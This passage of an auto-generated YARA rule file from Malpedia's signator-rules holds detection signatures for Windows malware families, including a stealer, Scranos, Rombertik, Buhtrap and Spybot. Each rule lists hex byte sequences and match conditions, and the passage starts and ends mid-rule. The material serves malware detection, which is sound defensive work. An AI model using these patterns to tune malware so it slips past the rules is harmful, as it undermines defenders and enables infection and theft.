		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 88442413 0fb6c0 8944241c 8a80007f3902 0fb6c0 3bc8 }
		$sequence_1 = { 8d55ee 33c9 e8???????? ba???????? 6a2e 58 668945ec }
		$sequence_2 = { 33c0 e9???????? 6a74 59 e8???????? 8bf8 85ff }
		$sequence_3 = { 8b8684000000 8d0440 03c0 0fb78c008a183902 03c0 898e80000000 0fb79088183902 }
		$sequence_4 = { 895108 6bd20c 83c104 e8???????? c20400 f644240401 }
		$sequence_5 = { 3d02010000 0f85e0000000 8d7dce 6800020000 8d44241c 50 8d8424b0060000 }
		$sequence_6 = { e8???????? 33d2 b9ff000000 f7f1 6a00 56 8bcf }
		$sequence_7 = { ff15???????? 8bf0 89742410 83feff 7478 8d442414 50 }
		$sequence_8 = { 8a0408 3204f598613902 32c2 42 880439 663b14f59a613902 }
		$sequence_9 = { 50 8d442448 85ed 8b6c2444 0f45c8 51 ff742430 }
	condition:
		7 of them and filesize < 598016
}

rule MALPEDIA_Win_Scranos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e6b87374-5f91-5170-a53f-357b78008c92"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scranos_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "52e1cc52ba176c72c7453bb67f5d2aeb347a2cda714eb2419f457836d51a180e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 8d4dd0 e9???????? 8d8d64ffffff e9???????? b8???????? e9???????? }
		$sequence_1 = { c68424450e00002d 8db424460e0000 f6c102 7406 c6062b 83c601 f6c101 }
		$sequence_2 = { c745a800000000 837d9c00 7508 8b45a0 8b08 894d9c 8b55f4 }
		$sequence_3 = { e8???????? 83c404 85c0 0f8587050000 39442424 0f8570050000 8b8d940c0000 }
		$sequence_4 = { c745b07c441010 e8???????? cc 6a44 b8???????? e8???????? 68???????? }
		$sequence_5 = { 8d6803 e8???????? 83c40c 85c0 0f85c4000000 6a07 56 }
		$sequence_6 = { 8b5518 8991e0010000 c745f800000000 eb09 8b45f8 83c001 8945f8 }
		$sequence_7 = { c6405400 0fb64dff 85c9 7514 8b55e4 8b45ec 3b424c }
		$sequence_8 = { 90 8d442410 50 6a00 55 56 e8???????? }
		$sequence_9 = { c7414802000000 8b55e8 52 e8???????? 83c404 83c001 8945b0 }
	condition:
		7 of them and filesize < 2859008
}

rule MALPEDIA_Win_Stealer_0X3401_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2ae48584-3f0a-5429-8e37-f6d8d22f0c81"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealer_0x3401_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "d48e39ba989936cedf7a0bb5dfb1b2a5b1f5da933f4aa10a0b47e5b061091dba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83e03f 6bc830 8b0495c8710210 8b440818 83f8ff 7409 }
		$sequence_1 = { c685d07dffff00 83f808 720d 40 50 ffb5487effff }
		$sequence_2 = { 68???????? 8bd0 c645fc21 8d4d90 e8???????? }
		$sequence_3 = { 8d45bc 837dd010 c745cc01000000 0f4345bc c6400100 8d8578ffffff 50 }
		$sequence_4 = { 660fd645bc f30f7e05???????? 8945b4 a1???????? c78500ffffff3f3f3f00 c78523ffffff00000000 }
		$sequence_5 = { 50 b9???????? c645fc19 e8???????? 8d4d90 }
		$sequence_6 = { 735f 8bc6 8bfe 83e03f c1ff06 6bd830 8b04bdc8710210 }
		$sequence_7 = { 7534 40 83f8fe 0f8798020000 3bc8 7310 ff7710 }
		$sequence_8 = { 49 83c9fe 41 99 898cb558f0ffff 2bc2 }
		$sequence_9 = { 0f95c0 8985a8feffff 3bf7 741f 6690 68???????? 8bcb }
	condition:
		7 of them and filesize < 357376
}

rule MALPEDIA_Win_Webmonitor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4edd58bc-84aa-57fd-8483-88f5d1911dcf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webmonitor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webmonitor_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "f03f08c033bc99c38a9a7047c1ab4dd8b784015d4b2f1d48ed5a63b916e4918d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c9 c1eb0a 41 0fb7c3 }
		$sequence_1 = { 04f0 fd ff01 04f0 fd }
		$sequence_2 = { 50 51 e8???????? 83c418 807c242000 }
		$sequence_3 = { 0fb6c0 6a09 33f0 e8???????? }
		$sequence_4 = { 2b49fc e9???????? 55 8bec f30f104508 ff750c }
		$sequence_5 = { 0f4345d8 0fbe0408 03d8 e9???????? 03da 8a043b }
		$sequence_6 = { 0080cd41009c d34100 e8???????? a3???????? 41 }
		$sequence_7 = { 1b4300 38644400 44 8a4100 }
		$sequence_8 = { 2503fd006c ff1e e00e 000e }
		$sequence_9 = { 03c6 53 c1e008 6a0e 8945e0 e8???????? }
		$sequence_10 = { 04c8 fe04fc fd 04f8 fd ff01 }
		$sequence_11 = { 41 00baa4f34100 b9???????? ffe1 ba???????? b9???????? ffe1 }
		$sequence_12 = { 04f8 fd 0512002413 000d???????? 04f4 }
		$sequence_13 = { 33cd e8???????? c9 c3 68???????? e8???????? }
		$sequence_14 = { 33c9 6800900100 668908 8bcf }
		$sequence_15 = { 61 0043ec fe04ec fe05???????? 000d???????? 04c8 }
	condition:
		7 of them and filesize < 1984512
}

rule MALPEDIA_Win_Screencap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "379c64a1-3968-5838-b405-32978ebeeb34"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.screencap_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "2175ebdcdf09489a5c3e9d1a0443dafe26fb70adb28f0b3b4f8cf2a642f56129"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 750d 6800000080 6a06 ff15???????? }
		$sequence_1 = { 488d0d1aba0000 e8???????? cc 488b4118 }
		$sequence_2 = { 488d1557c90000 eb2b 488d153ec90000 eb22 }
		$sequence_3 = { 488d156cd90000 488d8d90020000 4d8bc7 e8???????? 488d9580010000 488d4c2470 4533c9 }
		$sequence_4 = { 48895c2408 57 4881ecb0000000 488d054cffffff 33db ba007f0000 33c9 }
		$sequence_5 = { 4c8d442460 33d2 33c9 41d1e9 896c2428 4889742420 }
		$sequence_6 = { eb4e 8d4306 39842420100000 7640 6a04 687c334700 55 }
		$sequence_7 = { e9???????? 488d1554ca0000 e9???????? 498bd7 e9???????? 488d1570c60000 e9???????? }
		$sequence_8 = { e9???????? 4c8bfb 4c8be3 488d055eeb0000 49c1fc05 4183e71f 4a8b0ce0 }
		$sequence_9 = { 83c40c 8945a4 8975c8 897dcc 8975d0 8975d4 c645d800 }
	condition:
		7 of them and filesize < 1391616
}

rule MALPEDIA_Win_Rombertik_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fd5d6ec1-b599-5122-939f-30fe62c6e74a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rombertik_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "1bd4f27874587acc7747c5d4ae5b510eeb7a9ee716658437468f5342433983ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 56 ff15???????? 85c0 7559 8b5e10 33ff }
		$sequence_1 = { 40 49 75f9 8955f8 85d2 }
		$sequence_2 = { 0f94c0 84c0 750d 47 3b7d0c 72c9 }
		$sequence_3 = { 47 41 3bfb 72be 8b5df0 }
		$sequence_4 = { 85c0 7426 8d95f8feffff 52 }
		$sequence_5 = { 8d4de4 51 8955e8 8b55fc 6a00 52 }
		$sequence_6 = { 8bec 81ec3c030000 53 56 57 bf00010000 }
		$sequence_7 = { 8d8ddcfdffff 8bf0 51 56 }
		$sequence_8 = { 68???????? 50 56 e8???????? 83c414 a3???????? }
		$sequence_9 = { 81c900ffffff 41 8a9c0d00ffffff 889c0500ffffff }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Chewbacca_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "847304aa-d95d-5b53-bfb8-fe0eb8b688d2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chewbacca_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "f5f29df4947aa2192c20ef975dcc6c403a1b166aed455b80e47ce170d12533bf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? b909000000 89ee 8b7c2430 f3a6 0f8558010000 89c6 }
		$sequence_1 = { e8???????? c7442414c4796800 c7442410cd846800 c744240c1c070000 89442408 c7442404???????? a1???????? }
		$sequence_2 = { 8b4324 85c0 7461 c744240c00000000 8d54242c 89542408 c744240400000000 }
		$sequence_3 = { e9???????? 8b45fc e8???????? 52 50 8d45b8 e8???????? }
		$sequence_4 = { e8???????? c744241cd4686500 c7442418a0836500 c74424147b110000 89442410 c744240c44446500 c7442408???????? }
		$sequence_5 = { e8???????? c7042401000000 e8???????? e8???????? 89c3 e8???????? 895c2410 }
		$sequence_6 = { e8???????? e8???????? 50 85c0 0f8540040000 b801000000 8d5584 }
		$sequence_7 = { e8???????? c744241c84006700 c7442418b7026700 c7442414eb010000 89442410 c744240c64fd6600 c7442408???????? }
		$sequence_8 = { e8???????? e8???????? 50 85c0 7516 8d55d4 89d8 }
		$sequence_9 = { e8???????? c7442414cb246800 c7442410f3296800 c744240cec040000 89442408 c7442404???????? a1???????? }
	condition:
		7 of them and filesize < 9764864
}

rule MALPEDIA_Win_Tiop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7759473d-7c21-529d-8c5c-8c80ad3dfcde"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiop_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "9d95462dbb557911b61e12f852944c9e17315546dfa96a6eb7c9f227ec2b38c0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd7 8d4c241c a3???????? e8???????? 8b10 53 8bc8 }
		$sequence_1 = { 57 8965e8 8b4508 8d7004 8975e4 }
		$sequence_2 = { 51 50 ffd7 83c408 85c0 7555 8b4604 }
		$sequence_3 = { 64a100000000 50 64892500000000 83ec08 b8fc120000 e8???????? }
		$sequence_4 = { 51 55 ff15???????? 8b7c2410 56 8b35???????? }
		$sequence_5 = { 8d542414 68???????? f3ab 52 ffd3 83c414 85c0 }
		$sequence_6 = { 68???????? 64a100000000 50 64892500000000 83ec08 56 33f6 }
		$sequence_7 = { c64424388d c6442439b5 c644242c81 c644242dc3 c644243e85 c644243fff }
		$sequence_8 = { 8d542410 53 8944247c 53 894c2468 89542474 }
		$sequence_9 = { 8bf8 ff5204 894708 a1???????? 50 57 }
	condition:
		7 of them and filesize < 712704
}

rule MALPEDIA_Win_Buhtrap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "05b4ba66-68ba-54c1-8d1c-18fdeb619511"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buhtrap_auto.yar#L1-L156"
		license_url = "N/A"
		logic_hash = "eac17ec81dd5c0445bcaac0e052f572182cee6f02fda0d2839f8933537f248ba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 59 59 84c0 0f8435010000 }
		$sequence_1 = { ff5010 837df000 0f84e7000000 85c0 0f85c9000000 }
		$sequence_2 = { 8d442454 50 53 6a0a 5a e8???????? 50 }
		$sequence_3 = { 53 ffd6 8bd8 2b5dfc 895dec }
		$sequence_4 = { 66895dec 8bf3 8afb 8bc6 8a9c35ecfeffff }
		$sequence_5 = { 8d4df0 51 8d4df8 51 6a01 6aff 52 }
		$sequence_6 = { 57 ffd6 57 8945fc ffd6 59 59 }
		$sequence_7 = { ba0a010000 b9???????? e8???????? 83ec0c be???????? }
		$sequence_8 = { ff75f4 ff15???????? 8b45e8 5e }
		$sequence_9 = { 8d742414 c744241401234567 c744241889abcdef c744241cfedcba98 }
		$sequence_10 = { 8945fc 8a040a 8801 41 }
		$sequence_11 = { c645ff00 897df8 3bdf 0f84ad010000 8b4634 }
		$sequence_12 = { 807d1000 50 ff7508 740c }
		$sequence_13 = { 8b4508 c7403401000000 8b45f8 3bc6 }
		$sequence_14 = { 765c 837c241000 7655 51 e8???????? 59 }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Spybot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f487b739-5a23-52d3-8b27-57437fc4fe82"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spybot_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "086db381edc017239cf316ebb3a9419f50149c95f9ac3a29e8ecb7d10b4a280d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8975f8 8975f0 68???????? ff750c ff7508 e8???????? 83c418 }
		$sequence_1 = { 6a03 8b5c2414 99 59 33ff f7f9 8bf2 }
		$sequence_2 = { 59 e9???????? 57 68???????? e8???????? 59 85c0 }
		$sequence_3 = { 33f6 ff7508 56 ff15???????? 85c0 7429 }
		$sequence_4 = { 33f6 ffb56cffffff 57 e8???????? 59 85c0 59 }
		$sequence_5 = { 8945f0 8945f4 8945f8 8945fc a1???????? 85c0 7411 }
		$sequence_6 = { 8bb43570ffffff 3bf3 897508 0f8469a4ffff 399d54ffffff 0f855da4ffff 68???????? }
		$sequence_7 = { ff7020 8d85fcfdffff 68???????? 50 e8???????? 6a01 }
		$sequence_8 = { ff7514 8975fc e8???????? 56 8945ec ff7510 897514 }
		$sequence_9 = { e9???????? ffb570ffffff 68???????? e8???????? 59 85c0 59 }
	condition:
		7 of them and filesize < 2367488
}

rule MALPEDIA_Win_Sierras_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a99a7c2f-d459-55f5-a4a0-be6e81d58ab8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sierras_auto.yar#L1-L181"
		license_url = "N/A"
		logic_hash = "b308bc717193dd71ac31a34af288e6c64991ecd536fc577f8480631d4b62be23"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 8dbc24fc000000 83c9ff 33c0 f2ae }
		$sequence_1 = { 83c408 8d94242c070000 52 ffd5 83f8ff 7516 8d84241c030000 }
		$sequence_2 = { 8974243c 741a 56 57 e8???????? 83c660 83c408 }
		$sequence_3 = { 817e601e010000 89465c 895df0 773e 837e641e 7738 }
		$sequence_4 = { 017514 03fb 3b7d10 72b0 8b5df0 834dfcff 8d4de0 }
		$sequence_5 = { f6461104 745f 83ff10 7321 837df800 0f84440d0000 8b45fc }
		$sequence_6 = { ffd6 57 ffd6 8bc3 5b 5f 5e }
		$sequence_7 = { ffd7 c745fcffffffff e8???????? 33c0 8b4df0 64890d00000000 }
		$sequence_8 = { 897dfc 0f8cc0000000 837d0801 7e58 }
		$sequence_9 = { 33c0 f2ae f7d1 49 0f8452030000 8d8c24fc000000 }
		$sequence_10 = { 56 8bf1 57 68???????? 8d8608020000 50 ff15???????? }
		$sequence_11 = { 8bc3 837d0800 50 8b450c 7511 8b4dec }
		$sequence_12 = { 57 e8???????? 85c0 750d ff15???????? }
		$sequence_13 = { c3 56 8bf1 e8???????? 8b8610010000 }
		$sequence_14 = { 56 50 7507 e8???????? eb05 e8???????? 0175f0 }
		$sequence_15 = { 837d0803 0f8fb0000000 397d10 897df0 0f86a4000000 8b7d14 8b450c }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Veletrix_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a5f5b762-13c6-553b-b699-839d4e6ceb4f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.veletrix"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.veletrix_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "caf3f0b619f428452505d9ee8537497d80964f351312a5e0d2c1e4059a2feec7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7408 488bc2 e9???????? 4d3bc4 0f84d9000000 8b7500 498b9cf6c0920100 }
		$sequence_1 = { f20f59ee f20f5ce9 f2410f1004c1 488d1576860000 f20f1014c2 }
		$sequence_2 = { 85c0 742a 488bc5 4c8d05f5250100 488bcd 48c1f906 83e03f }
		$sequence_3 = { e8???????? 33db 8bf8 85c0 0f8453020000 4c8d2d461a0100 448bf3 }
		$sequence_4 = { 4c8d0d057c0000 c5f359c1 c5fb101d???????? c5fb102d???????? c4e2f1a91d???????? c4e2f1a92d???????? f20f10e0 }
		$sequence_5 = { c7459856697274 488bcb c7459c75616c50 4c8be0 c745a0726f7465 }
		$sequence_6 = { e8???????? 488b8f90000000 483b0d???????? 7417 488d05243d0100 }
		$sequence_7 = { 4c8d4c2448 488b4f10 41b840000000 ff542430 8b4f04 ba00080000 }
		$sequence_8 = { 48894df7 488945ef 488d0d8668ffff 83e03f 458be9 4d03e8 4c8945df }
		$sequence_9 = { 4c896daf 49c1fc06 4c8d34c0 4a8b84e100970100 4a8b44f028 }
	condition:
		7 of them and filesize < 234496
}

rule MALPEDIA_Win_Redsalt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a92418fc-758f-521f-ba9d-200fd663af62"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redsalt_auto.yar#L1-L221"
		license_url = "N/A"
		logic_hash = "50c9943074c934238ab56a2e724604fcafa0395a42717f2167a9dcfc691be6fb"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c414 33c9 83f8ff 0f95c1 }
		$sequence_1 = { 750b 68e8030000 ff15???????? e8???????? }
		$sequence_2 = { 51 ffd6 85c0 7510 }
		$sequence_3 = { c745d060ea0000 6a04 8d45d0 50 6806100000 68ffff0000 }
		$sequence_4 = { e8???????? 85c0 750a 6a32 }
		$sequence_5 = { 85c0 7515 c705????????01000000 ff15???????? e9???????? }
		$sequence_6 = { 740d 68???????? e8???????? 83c404 833d????????02 }
		$sequence_7 = { 83c9ff 85f6 7c0e 83fe7f 7f09 }
		$sequence_8 = { 6a00 52 c744242401000000 8944242c c744243002000000 }
		$sequence_9 = { 7509 80780120 7503 83c002 }
		$sequence_10 = { 83c40c eb02 33c0 8b4df4 }
		$sequence_11 = { c60100 5f 5e 33c0 }
		$sequence_12 = { 8d8530fcffff 50 e8???????? 83c40c }
		$sequence_13 = { e8???????? 83c408 6800010000 68???????? }
		$sequence_14 = { c6450000 5e 5d 8911 33c0 }
		$sequence_15 = { f7e7 8bea d1ed 33c0 83ef03 8a06 }
		$sequence_16 = { c1fa04 c0e302 0ad3 83c004 }
		$sequence_17 = { 833800 750f c705????????01000000 e9???????? }
		$sequence_18 = { c644243423 c644243572 c64424367a c644243700 }
		$sequence_19 = { d2cc bbe3b46b7e 6aa2 dd45ff }
		$sequence_20 = { de6c58ae c8201cdd f7be5b408d58 1b7f01 d2cc }
		$sequence_21 = { e8???????? 89ff 152edf0800 488b5c2440 }
		$sequence_22 = { e8???????? 89fa 4989d8 4889c1 e8???????? }
		$sequence_23 = { e8???????? 89f8 eb26 f6411840 7406 }
		$sequence_24 = { e8???????? 8b05???????? 0d80000000 8905???????? }
	condition:
		7 of them and filesize < 2957312
}

rule MALPEDIA_Win_Webc2_Ugx_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7a191507-05f1-515e-ae93-69990858de4e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_ugx_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "da5aed5a4142e6d6386e692fafe9cfc551187544798ccc57d23b8cb2bec2ee67"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff969c060000 3bc3 89458c 0f8497030000 }
		$sequence_1 = { 57 ff969c060000 3bc3 8945d8 0f8487020000 }
		$sequence_2 = { 50 ff7508 ff969c060000 3bc3 8945bc 0f84a2040000 8b7db4 }
		$sequence_3 = { ff55c0 57 ff55f8 ff55e8 }
		$sequence_4 = { 50 e8???????? 6a01 6a10 57 68420d0000 }
		$sequence_5 = { aa 33c0 8d7d9d 885d9c c645d47a ab ab }
		$sequence_6 = { 50 ff15???????? 85c0 7455 8d85a8feffff }
		$sequence_7 = { 8d86a4080000 50 57 ff969c060000 3bc3 894594 0f84a7020000 }
		$sequence_8 = { f3ab 66ab aa 33c0 8d7de9 885de8 8b7508 }
		$sequence_9 = { e9???????? 8d86ae090000 50 57 ff969c060000 3bc3 8945c0 }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Hunter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "114c619e-d3db-54d7-bef7-7645d901bc94"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hunter_auto.yar#L1-L90"
		license_url = "N/A"
		logic_hash = "776a5d8eb049aeb15b1138e40f903b0e7294cf0475240df008d707aa37c36610"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0000 9c 35a035a435 a835 }
		$sequence_1 = { 0145f4 8d45b4 8b55f0 8b4de4 }
		$sequence_2 = { 01442428 59 11742428 85db }
		$sequence_3 = { 0145e8 8d838e000000 3bc2 8b45e8 }
		$sequence_4 = { 01442444 53 11542444 51 }
		$sequence_5 = { 0103 115304 e9???????? 8b4c241c }
		$sequence_6 = { 014140 89413c 899604010000 e9???????? }
		$sequence_7 = { 00443907 8a043a 88043b 8a443a01 }
